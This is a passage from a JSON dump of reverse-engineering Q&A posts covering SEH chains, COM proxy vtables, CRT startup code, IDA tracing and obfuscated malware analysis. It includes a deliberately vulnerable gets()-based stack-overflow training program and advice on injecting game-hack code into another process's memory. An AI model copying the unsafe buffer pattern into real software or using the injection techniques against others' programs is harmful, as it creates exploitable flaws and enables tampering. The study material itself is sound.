_EXCEPTION_DISPOSITION (_EXCEPTION_RECORD *,void *,_CONTEXT *,void *)]\n</code></pre>\n\n<p>like this </p>\n\n<pre><code>0:000&gt; !exchain\n0010f76c: ntdll!_except_handler4+0 (77ade115)\n  CRT scope  0, filter: ntdll!LdrpDoDebuggerBreak+32 (77b605ac)\n                func:   ntdll!LdrpDoDebuggerBreak+36 (77b605b0)\n0010f91c: ntdll!_except_handler4+0 (77ade115)\n  CRT scope  0, filter: ntdll!_LdrpInitialize+db (77b40ee4)\n                func:   ntdll!_LdrpInitialize+f0 (77b40ef9)\nInvalid exception stack at ffffffff\n</code></pre>\n\n<p>when you push handler </p>\n\n<p>esp will hold the handler </p>\n\n<pre><code>esp  0x12345678 _SEH_HANDLER\n</code></pre>\n\n<p>when you push fs:[0]  you push a pointer to     </p>\n\n<pre><code>dx -r2 ((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0x10f76c)\n\n0:000&gt; dd esp\n0010f750  779f8159 00000000 00000000 7ffdf000\n\n0:000&gt; a \n77b605a6 push fs:[0]\npush fs:[0]\n77b605ad \n\n0:000&gt; p\n\n0:000&gt; dd esp\n0010f74c  **0010f76c** 779f8159 00000000 00000000\n0010f75c  7ffdf000 00000000 0010f750 77ade115\n</code></pre>\n\n<p>mov fs:[0] esp</p>\n\n<p>with this you swap out the old EXCEPTION_REGISTRATION_RECORD WITH NEW ONE</p>\n"
    },
    {
        "Id": "19005",
        "CreationDate": "2018-08-07T13:25:46.090",
        "Body": "<p>I was following a tutorial that introduced stack overflows. Here is the c Code.</p>\n\n<pre><code>#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;stdio.h&gt;\n\nint main(int argc, char **argv)\n{\n  volatile int modified;\n  char buffer[64];\n\n  modified = 0;\n  gets(buffer);\n\n  if(modified != 0) {\n      printf(\"you have changed the 'modified' variable\\n\");\n  } else {\n      printf(\"Try again?\\n\");\n  }\n}\n</code></pre>\n\n<p>and heres the disassembled main function</p>\n\n<pre><code>0x080483f4 &lt;main+0&gt;:    push   ebp\n0x080483f5 &lt;main+1&gt;:    mov    ebp,esp\n0x080483f7 &lt;main+3&gt;:    and    esp,0xfffffff0\n0x080483fa &lt;main+6&gt;:    sub    esp,0x60\n0x080483fd &lt;main+9&gt;:    mov    DWORD PTR [esp+0x5c],0x0\n0x08048405 &lt;main+17&gt;:   lea    eax,[esp+0x1c]\n0x08048409 &lt;main+21&gt;:   mov    DWORD PTR [esp],eax\n0x0804840c &lt;main+24&gt;:   call   0x804830c &lt;gets@plt&gt;\n0x08048411 &lt;main+29&gt;:   mov    eax,DWORD PTR [esp+0x5c]\n0x08048415 &lt;main+33&gt;:   test   eax,eax\n0x08048417 &lt;main+35&gt;:   je     0x8048427 &lt;main+51&gt;\n0x08048419 &lt;main+37&gt;:   mov    DWORD PTR [esp],0x8048500\n0x08048420 &lt;main+44&gt;:   call   0x804832c &lt;puts@plt&gt;\n0x08048425 &lt;main+49&gt;:   jmp    0x8048433 &lt;main+63&gt;\n0x08048427 &lt;main+51&gt;:   mov    DWORD PTR [esp],0x8048529\n0x0804842e &lt;main+58&gt;:   call   0x804832c &lt;puts@plt&gt;\n0x08048433 &lt;main+63&gt;:   leave\n0x08048434 &lt;main+64&gt;:   ret\n</code></pre>\n\n<p>I understand that when it says <code>sub esp,60</code> it's making a stack frame for the <em>Main</em> function. So why does it initialize the modified variable(<code>mov  DWORD PTR [esp+0x5c],0x0</code>) at 5c in the stack frame and not at the bottom? Also, why does it only make room for 60 items(<code>sub esp,60</code>) when it knows there will be set length of 64?</p>\n",
        "Title": "Why code subtracts 60 from esp when the length of the variable is 64",
        "Tags": "|stack|buffer-overflow|",
        "Answer": "<p>Because it's 0x60 i.e. 96 in decimal. So it actually allocates 64 bytes for the <em>buffer</em>, then 4 bytes for <em>modified</em>. And the rest is 0x1\u0421, which compiler added as a spare in the debug build.</p>\n"
    },
    {
        "Id": "19007",
        "CreationDate": "2018-08-07T18:35:30.033",
        "Body": "<p>On Windows, I can use tools like Process Explorer and Process Hacker to view in-memory strings generated at runtime of a given process. How can I accomplish this same task on Ubuntu?</p>\n",
        "Title": "How can I view in-memory strings of a process on Linux (Ubuntu)?",
        "Tags": "|dynamic-analysis|strings|",
        "Answer": "<p>Another way to read a process's memory in Linux isto read the psaudo-file <code>/proc/&lt;PID&gt;/mem</code>, which provides raw access to the memory space, as seen by the process, at offsets retrieved from <code>/proc/&lt;PID&gt;/maps</code>, which provides information about how the memory is laid out.</p>\n"
    },
    {
        "Id": "19015",
        "CreationDate": "2018-08-08T17:56:15.940",
        "Body": "<p>I'm very new in software reverse engineering. I created a very simple <code>c</code> program using Visual Studio and the code is listed below. </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nvoid main()\n{\n    int x, y, z;\n\n    while(1)\n    {\n        x = 0;\n        y = 1;\n        do\n        {\n            printf(\"%d\\n\", x);\n\n            z = x + y;\n            x = y;\n            y = z;\n        } while (x &lt; 255);\n    }\n\n}\n</code></pre>\n\n<p>After compiled the program, I use <code>x64dbg</code> opened the compiled output file <code>project1.exe</code>. </p>\n\n<p><a href=\"https://i.stack.imgur.com/2yr7y.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2yr7y.png\" alt=\"enter image description here\"></a></p>\n\n<p>Why for such a simple program, x64dbg displays this huge amount of assembly code (this seems happen to other disassembler too)?  See the scroll bar you get it. Is it because x64dbg show all memory info here? If so, that means I can find all other programs running on my computer from  this panel, right?</p>\n\n<p>Thanks in advance for any clarification. This is probably a noob question but I can't find the answer online. </p>\n",
        "Title": "Does x64dbg display the whole memory info even for a simple program opened?",
        "Tags": "|memory|x64dbg|",
        "Answer": "<p>The image in query can't be viewed.</p>\n<p>I assume you are asking ----</p>\n<blockquote>\n<p>why I can't see the assembly code pertaining to my code portion only\nand what are those extra assembly code which I didn't seem to write\nstaring at me</p>\n</blockquote>\n<p>The apparently extra code that is shown while you disassemble a console application are inserted by the compiler and is called c runtime initialization code  aka <strong>CRT</strong> code.</p>\n<p>A console application needs an input mechanism and an output mechanism\nso before your code is called the compiler puts those code in place\nyou can find the source for such code in your visual studio directory under</p>\n<pre><code>C:\\Program Files\\Microsoft Visual Studio\\2017\\Community\\VC\\Tools\\MSVC\\14.14.26428\\crt\\src\\vcruntime&gt;cd ..\n\nC:\\Program Files\\Microsoft Visual Studio\\2017\\Community\\VC\\Tools\\MSVC\\14.14.26428\\crt\\src&gt;ls\narm  concrt  i386  linkopts  stl  vccorlib  vcruntime  x64\n\nC:\\Program Files\\Microsoft Visual Studio\\2017\\Community\\VC\\Tools\\MSVC\\14.14.26428\\crt\\src&gt;cd vcruntime\n\nC:\\Program Files\\Microsoft Visual Studio\\2017\\Community\\VC\\Tools\\MSVC\\14.14.26428\\crt\\src\\vcruntime&gt;ls *main*\ndll_dllmain.cpp       exe_main.cpp     exe_wmain.cpp     ManagedMain.cpp\ndll_dllmain_stub.cpp  exe_winmain.cpp  exe_wwinmain.cpp  vcruntime_dllmain.cpp\n\nC:\\Program Files\\Microsoft Visual Studio\\2017\\Community\\VC\\Tools\\MSVC\\14.14.26428\\crt\\src\\vcruntime&gt;cat exe_main.cpp\n//\n// exe_wwinmain.cpp\n//\n//      Copyright (c) Microsoft Corporation. All rights reserved.\n//\n// The mainCRTStartup() entry point, linked into client executables that\n// uses main().\n//\n#define _SCRT_STARTUP_MAIN\n#include &quot;exe_common.inl&quot;\n\n\n\nextern &quot;C&quot; int mainCRTStartup()\n{\n    return __scrt_common_main();\n}\n\nC:\\Program Files\\Microsoft Visual Studio\\2017\\Community\\VC\\Tools\\MSVC\\14.14.26428\\crt\\src\\vcruntime&gt; \n</code></pre>\n<p>If you don't want to see such code do not create a console app\nbut write a bare-minimum windows app and handle all the input and output mechanisms on your own.</p>\n<p>for example, your code can be rewritten like this:</p>\n<pre><code>#include &lt;windows.h&gt;\n\nvoid mymain() {\n    int x, y, z;\n    char buff[0x100];\n\n    while(1)\n    {\n        x = 0;\n        y = 1;\n        do\n        {\n            wsprintf(buff , &quot;%d\\n&quot;, x);\n            MessageBoxA(NULL,buff,&quot;test&quot;,MB_OK);\n\n            z = x + y;\n            x = y;\n            y = z;\n        } while (x &lt; 255);\n    }\n\n}\n</code></pre>\n<p>and compiled an linked like this from vc command prompt (you can set these options from project settings also but i wont get into discussing property pages here)</p>\n<pre><code>cl /GS-  /Zi /W4 /analyze /nologo /Od bare.cpp /link /release /entry:mymain /subsystem:windows user32.lib\n</code></pre>\n<p><code>/GS</code> disables buffer security checks   /entry says to the compile i dont want all the stuff you drop into my binary just start from here.</p>\n<p><code>/subsystem:windows</code> says I don't want your black screen blinking at me.</p>\n<p>I will write on my own hyperspace and read through telepathy and bingo you get a slim and trim 3 kb excutable with just this disassembly.</p>\n<pre><code>dumpbin /disasm bare.exe\nMicrosoft (R) COFF/PE Dumper Version 14.14.26430.0\nCopyright (C) Microsoft Corporation.  All rights reserved.\n\n\nDump of file bare.exe\n\nFile Type: EXECUTABLE IMAGE\n\n?mymain@@YAXXZ:\n  00401000: 55                 push        ebp\n  00401001: 8B EC              mov         ebp,esp\n  00401003: 81 EC 0C 01 00 00  sub         esp,10Ch\n  00401009: B8 01 00 00 00     mov         eax,1\n  0040100E: 85 C0              test        eax,eax\n  00401010: 74 5D              je          0040106F\n  00401012: C7 45 FC 00 00 00  mov         dword ptr [ebp-4],0\n            00\n  00401019: C7 45 F8 01 00 00  mov         dword ptr [ebp-8],1\n            00\n  00401020: 8B 4D FC           mov         ecx,dword ptr [ebp-4]\n  00401023: 51                 push        ecx\n  00401024: 68 10 20 40 00     push        402010h\n  00401029: 8D 95 F4 FE FF FF  lea         edx,[ebp-10Ch]\n  0040102F: 52                 push        edx\n  00401030: FF 15 04 20 40 00  call        dword ptr [__imp__wsprintfA]\n  00401036: 83 C4 0C           add         esp,0Ch\n  00401039: 6A 00              push        0\n  0040103B: 68 14 20 40 00     push        402014h\n  00401040: 8D 85 F4 FE FF FF  lea         eax,[ebp-10Ch]\n  00401046: 50                 push        eax\n  00401047: 6A 00              push        0\n  00401049: FF 15 00 20 40 00  call        dword ptr [__imp__MessageBoxA@16]\n  0040104F: 8B 4D FC           mov         ecx,dword ptr [ebp-4]\n  00401052: 03 4D F8           add         ecx,dword ptr [ebp-8]\n  00401055: 89 4D F4           mov         dword ptr [ebp-0Ch],ecx\n  00401058: 8B 55 F8           mov         edx,dword ptr [ebp-8]\n  0040105B: 89 55 FC           mov         dword ptr [ebp-4],edx\n  0040105E: 8B 45 F4           mov         eax,dword ptr [ebp-0Ch]\n  00401061: 89 45 F8           mov         dword ptr [ebp-8],eax\n  00401064: 81 7D FC FF 00 00  cmp         dword ptr [ebp-4],0FFh\n            00\n  0040106B: 7C B3              jl          00401020\n  0040106D: EB 9A              jmp         00401009\n  0040106F: 8B E5              mov         esp,ebp\n  00401071: 5D                 pop         ebp\n  00401072: C3                 ret\n_wsprintfA:\n  00401073: FF 25 04 20 40 00  jmp         dword ptr [__imp__wsprintfA]\n_MessageBoxA@16:\n  00401079: FF 25 00 20 40 00  jmp         dword ptr [__imp__MessageBoxA@16]\n\n  Summary\n\n        1000 .rdata\n        1000 .reloc\n        1000 .text\n</code></pre>\n<p><em>EDIT</em></p>\n<p>The screen shot seems to be inlined after I posted the answer\nand the code in screen shot belongs to <code>ntdll.dll</code> and not your module. <code>ntdll</code> is a dll that is mandatory for any application and it provides the\nlow level resources and routines for transitioning into kernel space.</p>\n<p>Go to  modules pane (<kbd>Alt+m</kbd> I would guess as x64dbg uses ollydbg ui shorcuts ) and select your module and follow its entry point to look at your code.</p>\n"
    },
    {
        "Id": "19039",
        "CreationDate": "2018-08-11T19:04:35.817",
        "Body": "<p>I am following this tutorial: \n<a href=\"https://legend.octopuslabs.io/archives/1093/1093.html\" rel=\"nofollow noreferrer\">enter link description here</a></p>\n\n<p>Though it uses Olly I am following with IDA.</p>\n\n<p>Basically i am tying to catch where a popup decision is taking place in the program.\nI though i placed a BP on the right spot.\nWhat I don't understand is this:\nWhen I placed only one BP on this location:\n<a href=\"https://i.stack.imgur.com/pG6bQ.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pG6bQ.jpg\" alt=\"enter image description here\"></a>\nand I run the debugger, it stops on this BP. I press F8 and it continues to \"push esi\", F8 and I get the pop up message I was looking for.</p>\n\n<p>However, when I place another BP on this location - this one was deducted from the tutorial which uses Olly.\n<a href=\"https://i.stack.imgur.com/h1PkH.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/h1PkH.jpg\" alt=\"enter image description here\"></a>\nAnd i follow the same debugging procedure; I press F8 and it continues to \"push esi\", F8 and It stoops on the new BP @0043F812 and only after pressing F8 again i get the popup after it calls \"DialogBoxParamA\".</p>\n\n<p>So my question is why do I not get to DialogBoxParamA @43F818 when i obly place 1 BP? How can i jump from \"DispatchMessageA\" which is an external all to @43F818 ?</p>\n\n<p>I'll try to visualize this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/VxQmA.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/VxQmA.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>Should not I be able to follow the same trace regardless on the number of BPs? </p>\n\n<p>Below are the 2 trace logs.\n1 - trace log with only 1 BP, this one is very </p>\n\n<pre><code>Thread  Address Instruction Result\n00002378    .text:sub_442C44+2D4    Memory layout changed: 505 segments Memory layout changed: 505 segments\n00002378            ST0=FFFFFFFFFFFFFFFF ST1=FFFFFFFFFFFFFFFF ST2=FFFFFFFFFFFFFFFF ST3=FFFFFFFFFFFFFFFF ST4=FFFFFFFFFFFFFFFF ST5=FFFFFFFFFFFFFFFF ST6=FFFFFFFFFFFFFFFF ST7=FFFFFFFFFFFFFFFF CTRL=FFFF CS=0023 DS=002B ES=002B FS=0053 GS=002B SS=002B EAX=00000000 EBX=00000000 ECX=741B2E09 EDX=00000000 ESI=0018E6C0 EDI=00000000 EBP=00000000 ESP=0018E6BC EFL=00200246 XMM0= XMM1= XMM2= XMM3= XMM4= XMM5= XMM6= XMM7= MXCSR=FFFFFFFF MM0= MM1= MM2= MM3= \n00002378    .text:sub_442C44+2D4    call    TranslateMessage; Call Procedure    ECX=0018E6C0 EDX=0000000F ESP=0018E6C0 EFL=00200244 \n00002378    .text:sub_442C44+2D9    Memory layout changed: 522 segments Memory layout changed: 522 segments\n00002378    .text:sub_442C44+2D9    push    esi; lpMsg  ESP=0018E6BC EFL=00200246 \n</code></pre>\n\n<hr>\n\n<p>************* 2nd TRACE with 2 BP ****************</p>\n\n<hr>\n\n<pre><code>Thread  Address Instruction Result\n00002280    .text:sub_442C44+2D4    Memory layout changed: 505 segments Memory layout changed: 505 segments\n00002280            ST0=FFFFFFFFFFFFFFFF ST1=FFFFFFFFFFFFFFFF ST2=FFFFFFFFFFFFFFFF ST3=FFFFFFFFFFFFFFFF ST4=FFFFFFFFFFFFFFFF ST5=FFFFFFFFFFFFFFFF ST6=FFFFFFFFFFFFFFFF ST7=FFFFFFFFFFFFFFFF CTRL=FFFF CS=0023 DS=002B ES=002B FS=0053 GS=002B SS=002B EAX=00000000 EBX=00000000 ECX=741B2E09 EDX=00000000 ESI=0018E6C0 EDI=00000000 EBP=00000000 ESP=0018E6BC EFL=00200246 XMM0= XMM1= XMM2= XMM3= XMM4= XMM5= XMM6= XMM7= MXCSR=FFFFFFFF MM0= MM1= MM2= MM3= \n00002280    .text:sub_442C44+2D4    call    TranslateMessage; Call Procedure    ECX=0018E6C0 EDX=0000000F ESP=0018E6C0 EFL=00200244 \n00002280    .text:sub_442C44+2D9    push    esi; lpMsg  ESP=0018E6BC EFL=00200246 \n00002280    .text:sub_442C44+2DA    call    DispatchMessageA; Call Procedure    ESP=0018E6B8 \n00002280    .text:DispatchMessageA  jmp     ds:__imp_DispatchMessageA; Indirect Near Jump   \n00002280    75FC7BBB        \n00002280    75FC7BBD    Memory layout changed: 522 segments Memory layout changed: 522 segments\n00002280    75FC7BBD        ESP=0018E6B4 \n00002280    75FC7BBE        EBP=0018E6B4 \n00002280    75FC7BC0        ESP=0018E6B0 \n00002280    75FC7BC2        ESP=0018E6AC \n00002280    75FC7BC5        ESP=0018E6A8 \n00002280    75FC76D7        ESP=0018E6A4 \n00002280    75FC76D9        ESP=0018E6A0 \n00002280    75FC76DE        EAX=0018E694 EBP=0018E6A4 ESP=0018E66C EFL=00200280 PF=0 ZF=0 SF=1 \n00002280    75FC76E3        EFL=00200246 PF=1 ZF=1 SF=0 \n00002280    75FC76E5        \n00002280    75FC76E8        \n00002280    75FC76EB        \n00002280    75FC76F2        \n00002280    75FC76F8        ECX=00B123FC \n00002280    75FC76FA        ZF=0 \n00002280    75FC76FC        \n00002280    75FC7702        EAX=00BB6A10 ECX=C0540000 EDX=00000000 EFL=00200200 PF=0 \n00002280    75FC7707        EBX=00BB6A10 EFL=00200202 \n00002280    75FC7709        \n00002280    75FC770B        \n00002280    75FC770D        \n00002280    75FC7713        EAX=00B123FC \n00002280    75FC7715        \n00002280    75FC7717        EAX=00000113 \n00002280    75FC771A    Memory layout changed: 527 segments Memory layout changed: 527 segments\n00002280    75FC771A        CF=1 SF=1 \n00002280    75FC771F        \n00002280    75FC788E        CF=0 PF=1 ZF=1 SF=0 \n00002280    75FC7895        \n00002280    75FC789B        CF=1 AF=1 ZF=0 SF=1 \n00002280    75FC78A0        \n00002280    75FC78A6        PF=0 \n00002280    75FC78AB        \n00002280    75FC7725        EDX=00000113 \n00002280    75FC7728        CF=0 PF=1 AF=0 ZF=1 SF=0 \n00002280    75FC772E        \n00002280    75FC792D        EAX=00000000 \n00002280    75FC7930        \n00002280    75FC7932        \n00002280    75FC7740        EAX=00BB6A10 \n00002280    75FC7742        PF=0 ZF=0 \n00002280    75FC7744        \n00002280    75FC774A        EDI=0018E6C8 \n00002280    75FC774D        ECX=0000000A \n00002280    75FC774F        \n00002280    75FC7752        EAX=0043F070 \n00002280    75FC7758    Memory layout changed: 527 segments Memory layout changed: 527 segments\n00002280    75FC7758        \n00002280    75FC775B        PF=1 ZF=1 \n00002280    75FC775F        \n00002280    75FC7765        PF=0 AF=1 ZF=0 \n00002280    75FC7768        \n00002280    75FC776E        EAX=FFFFFED3 \n00002280    75FC7774        SF=1 \n00002280    75FC7777        \n00002280    75FC777D        EAX=00000119 \n00002280    75FC7782        CF=1 PF=1 \n00002280    75FC7784        \n00002280    75FC778A        EAX=0000000A \n00002280    75FC778E        EAX=00000001 CF=0 PF=0 AF=0 SF=0 \n00002280    75FC7791        EAX=FFFFFFFE \n00002280    75FC7793        EAX=00000000 PF=1 ZF=1 \n00002280    75FC7796        ECX=00000000 \n00002280    75FC7798        PF=0 ZF=0 \n00002280    75FC779B        \n00002280    75FC779E        PF=1 ZF=1 \n00002280    75FC77A0        \n00002280    75FC77A6        ESP=0018E668 \n00002280    75FC77A8        EAX=00BB6A38 \n00002280    75FC77AB        ESP=0018E664 \n00002280    75FC77AC        ESP=0018E660 \n00002280    75FC77AF        ESP=0018E65C \n00002280    75FC77B1        ESP=0018E658 \n00002280    75FC77B4        ESP=0018E654 \n00002280    75FC77B6        ESP=0018E650 \n00002280    75FC77B9        ESP=0018E64C \n00002280    75FC77BF        EAX=000B3E35 EBX=00000113 ECX=EED71FD0 EDX=00000072 ESI=00B123FC EDI=00000000 EBP=0018E5A0 ESP=0018C1C4 PF=0 AF=1 ZF=0 \n00002280    .text:sub_43F070+7A8    call    **DialogBoxParamA**; Call Procedure EAX=0018BA94 ECX=00000000 EDX=00000001 EBP=0018BFF0 ESP=00189C28 EFL=00200200 AF=0 \n00002280    .text:sub_43F070:loc_43F81D Memory layout changed: 532 segments Memory layout changed: 532 segments\n00002280    .text:sub_43F070:loc_43F81D cmp     byte_4A6894, 0; Compare Two Operands\n</code></pre>\n",
        "Title": "IDA PRO does miss calls when tracing",
        "Tags": "|ida|debugging|debuggers|patch-reversing|",
        "Answer": "<p><code>TranslateMessage</code> &amp; <code>DispatchgMessage</code> are the standard windows functions when you are dealing with WinAPI and <a href=\"https://docs.microsoft.com/en-us/windows/desktop/winmsg/using-messages-and-message-queues#creating_loop\" rel=\"nofollow noreferrer\">messages loops</a>. </p>\n\n<p>When a <code>DispatchMessage</code> is called, the message stored in <code>esi</code> is processed by Windows and then  the message handler in the application is called and this is where you see your <code>DialogBoxParamA</code>.</p>\n\n<p>The windows handler is registered in one of the fields of the <code>WNDCLASS</code> structure, namely <code>lpfnWndProc</code>. When reversing WinAPI application the most obvious place to look for interesting code is to locate the message handler code.</p>\n\n<p>So in summary, when you have your 2nd breakpoint in the windows handler code, when this messages is processed you end before <code>DialogBoxParamA</code>. If you don';t have it there , messages is processed, Popup displayed, and you continue where you were before.</p>\n"
    },
    {
        "Id": "19043",
        "CreationDate": "2018-08-12T02:12:15.250",
        "Body": "<p>Typically when I write a game-hacking executable after reversing a game, I go about code-caving to find where I can inject my code as need be. Well, while reversing a few such executables from someone else, I've noticed they choose to always inject their code at Game.exe+100. This has me wondering if it's just easier to start doing that and calling it done.</p>\n\n<p>However, my question here is for those a bit more familiar with the PE format than I am at the moment (to be honest, my brain is swimming at the moment trying to wrap my head around the resources I've Googled up to this point):</p>\n\n<p>Why offset 0x100 from the module base address? <strong>Once a PE is mapped into memory</strong>, are there documented and/or well-known offsets from the image base that are pretty much always safe to overwrite/write to? If so, which offsets might they be? From there, I'll look to understand what each of those sections represent, as well as how many bytes could be used from each offset.</p>\n\n<p>By all means, instead of laboring an answer, feel free to point me to the right chart or information that details the specific offsets. I'm overwhelmed with information right now and a bit confused by what all I'm looking at (like seeing the same offset number being used for various sections, etc.). Thanks!</p>\n",
        "Title": "Why is it \"safe\" to write to ModuleBase.exe+0x100, and possibly other header offsets after PE is mapped to memory?",
        "Tags": "|pe|offset|game-hacking|",
        "Answer": "<p>Short answer: Because your average program will never access those values. </p>\n\n<p>Long answer: Peter ferrie's answer states there's usually nothing present at that offset. That is not true. The shortest possible valid header for a Portable Executable is 0xc8 long. But that's for a program with a single section, <strong>no imports</strong> (or anything else that would require a data directory), no DOS stub and no Rich header (impossible with Visual Studio without patching the linker). The shortest header for a realistic (but still mostly academic) program with imports and two sections (real programs usually have 4\u20137 sections) will be at least 0x160 long. Add the default DOS stub and you're at 0x1a0. Add the Rich Header and that's typically another 0x30-0x80 bytes. In fact you rarely see PEs whose headers fit into the first 512 bytes. So at 0x100 you <strong>will</strong> be overwriting data, however, the OS no longer uses that data once the loader is done loading the image into memory, so as long as the program doesn't use that data either(e.g. loading resources), it'll be fine. </p>\n\n<p>It's probably worth noting that all the offsets after 0x40 are variable, so without examining the target binary first you don't even know what you're overwriting at 0x100. Since you'll have to call VirtualProtectEx anyway (whether it's to make a data section executable or a code section writable), you might as well call VirtualAllocEx and not bother with finding code caves at all. If I had to guess why the other guy is always injecting to 0x100, I'd say it's because that way he's running from a known address (unless ASLR is enabled and the target binary is relocatable) so he doesn't have to relocate his code before injecting/make it position independent. It's lazy, sloppy, and unsafe. </p>\n"
    },
    {
        "Id": "19061",
        "CreationDate": "2018-08-14T15:02:47.940",
        "Body": "<p>I am analyzing a malicious javascript. The code is encoded and obfuscated in a way that I did not manage to even partially deobfuscate yet and it is filled with long strings. In order to simplify the task I put the code to <a href=\"http://jshint.com/\" rel=\"nofollow noreferrer\">JShint</a>. According to the tool, there are 82 variables that are not used:\n<a href=\"https://i.stack.imgur.com/QfaCM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QfaCM.png\" alt=\"JShint output\"></a></p>\n\n<p>Given the context, is it safe to assume that the reason these variables exist is most likely to add to obfuscation but not to fulfill any operation? Would it be reasonable to delete declarations of these variables and have a shorter code to work with?</p>\n",
        "Title": "Obfuscated code analysis - can unused variables be ignored?",
        "Tags": "|obfuscation|deobfuscation|javascript|",
        "Answer": "<p>Often then unsued variables are unusued only until you make the first deobfuscation step.</p>\n\n<p>After first run, you could see that some code uses these variables, for example using an eval. This because the previous step of obfuscation make  vars look like unusued, only because their use in the code is obfuscated on a (again) previous step.</p>\n\n<p>For example. You could use eval and base64 encoding to hide the use of a piece of code. </p>\n\n<p>In a situation like your I tend to remove apparently unused code using IDE tools, then, if the code is still working I can be sure I removed useless fog from the code.  </p>\n\n<p>Person opinion: JsHint fall to detect used cars just when JavaScript coding is confused... An alert using window object to access a variable make JsHint blind. Is not a good help <em>for this specific purpose</em>.</p>\n\n<p><em>obviously you need to run every sort of sandboxing, sw and hw isolation and emulation when you try a malicious code</em> . </p>\n"
    },
    {
        "Id": "19062",
        "CreationDate": "2018-08-14T15:05:07.393",
        "Body": "<p>When I do dynamic reversing I saw usage with <code>ObjectStublessClientXX</code> in <code>ole32.dll</code> .</p>\n\n<p>What is that function? What does it do?</p>\n\n<p>Is there any way that it supposed to transfer message between 2 processes? I see that after those function called from <code>1.exe</code> so <code>2.exe</code> got a message</p>\n",
        "Title": "What is ObjectStublessClientXX in ole32dll?",
        "Tags": "|ida|windows|dll|dynamic-analysis|",
        "Answer": "<p>COM is very abstract idea in Object Oriented Programming (OOP). To understand this well, you need some in-depth knowledge of <a href=\"https://en.wikipedia.org/wiki/Inheritance_(object-oriented_programming)\" rel=\"noreferrer\">Inheritance in OOP</a>, <a href=\"https://en.wikipedia.org/wiki/Virtual_method_table\" rel=\"noreferrer\">Virtual Method Table</a>, <a href=\"https://msdn.microsoft.com/en-us/library/ms809983.aspx#dbcomrem\" rel=\"noreferrer\">COM in separate process</a> and <a href=\"https://docs.microsoft.com/en-us/windows/desktop/com/marshaling-details\" rel=\"noreferrer\">Data Marshaling with COM</a>.</p>\n<p>Those subroutines are part of a COM Proxy/Stub DLL. Proxy DLL are used when the COM interfaces are defined/implemented in separate DLL files. Think these as a simple function call but with COM virtual tables. In case of dynamic linking, DLL has exported functions and EXE files call them. In case of proxy/stub COM, the underlying functions are defined in a separate DLL files. When an executable call any method the parameters are marshalled (i.e. packed/assembled) through Proxy DLL to the main DLL where all the real things happens. Proxy DLLs contain just the list of those methods, aka. Virtual Functions in Virtual Method Table (vtable or vtbl). So, the &quot;ObjectStublessClient&quot; are the virtual functions only. In simple C language, this can be compared as function pointers in a structure (with oversimplification).</p>\n<p>In IDA, go to View --&gt; Open subviews --&gt; Names or press <kbd>Shift</kbd> + <kbd>F4</kbd> to open 'Names Window'.\nSearch for 'ProxyVtbl', you can find defined virtual tables. Here is an example of <a href=\"https://docs.microsoft.com/en-us/windows/desktop/api/oleidl/nn-oleidl-iolecachecontrol\" rel=\"noreferrer\"><strong>IOleCacheControl interface</strong></a> in Ole32.DLL file.</p>\n<ul>\n<li>In IDA assembly view:</li>\n</ul>\n\n<pre><code>.rdata:00000001800CE9D0 ; $2F7D790A470334608EE0E1481017719B IOleCacheControlProxyVtbl\n.rdata:00000001800CE9D0 _IOleCacheControlProxyVtbl dq offset IOleCacheControl_ProxyInfo; header.piid\n.rdata:00000001800CE9D0                                         ; DATA XREF: .rdata:00000001800C9BF8\u2191o\n.rdata:00000001800CE9D0                 db 0D0h, 0AEh, 0Fh, 80h, 1, 3 dup(0); gap8\n.rdata:00000001800CE9D0                 dq offset IUnknown_QueryInterface_Proxy, offset IUnknown_AddRef_Proxy; Vtbl\n.rdata:00000001800CE9D0                 dq offset IUnknown_Release_Proxy, offset ObjectStublessClient3_0; Vtbl\n.rdata:00000001800CE9D0                 dq offset ObjectStublessClient4_0; Vtbl\n.rdata:00000001800CEA08                 align 10h\n</code></pre>\n<ul>\n<li>In oleidl.h file (C++ interface):</li>\n</ul>\n\n<pre><code>MIDL_INTERFACE(&quot;00000129-0000-0000-C000-000000000046&quot;)\nIOleCacheControl : public IUnknown\n{\npublic:\n    virtual HRESULT STDMETHODCALLTYPE OnRun( \n        LPDATAOBJECT pDataObject) = 0;\n    \n    virtual HRESULT STDMETHODCALLTYPE OnStop( void) = 0;\n    \n};\n</code></pre>\n<ul>\n<li>In simple C language:</li>\n</ul>\n\n<pre><code>GUID IID_IOleCacheControl = { 0x00000129, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 };\n\ntypedef struct _IOleCacheControl IOleCacheControl, *PIOleCacheControl;\n\nstruct _IOleCacheControl {\n    \n    //0th IUnknown_QueryInterface_Proxy\n    HRESULT (__fastcall *QueryInterface )( \n        PIOleCacheControl* This,\n        GUID* riid, \n        PVOID* ppvObject\n        );\n    \n    //1st IUnknown_AddRef_Proxy\n    ULONG (__fastcall *AddRef )( \n        PIOleCacheControl* This\n        );\n    \n    //2nd IUnknown_Release_Proxy\n    ULONG (__fastcall *Release )( \n        PIOleCacheControl* This\n        );\n    \n    //3rd ObjectStublessClient3_0\n    HRESULT (__fastcall *OnRun )( \n        PIOleCacheControl* This,\n        IDataObject* pDataObject\n        );\n    \n    //4th ObjectStublessClient4_0\n    HRESULT (__fastcall *OnStop )( \n        PIOleCacheControl* This\n        );\n    \n};\n</code></pre>\n<p>The first three functions (QueryInterface, AddRef, Release) are inherited from (i.e. copied from) <a href=\"https://docs.microsoft.com/en-us/windows/desktop/api/unknwn/nn-unknwn-iunknown\" rel=\"noreferrer\">IUnknown interface</a>. Then other remaining virtual functions are named with their offsets. Hence <code>ObjectStublessClient3_0</code> is the <code>OnRun()</code> and <code>ObjectStublessClient4_0</code> is the <code>OnStop()</code> function pointers. I changed the calling conventions to <code>__fastcall</code> because Windows binary generally use that calling conventions.</p>\n<p>One can see a real example of this method in my repository <a href=\"https://github.com/Biswa96/WslReverse\" rel=\"noreferrer\">GitHub: WslReverse</a> where I show the hidden COM interface of LxssManager.DLL.</p>\n<h3>Further 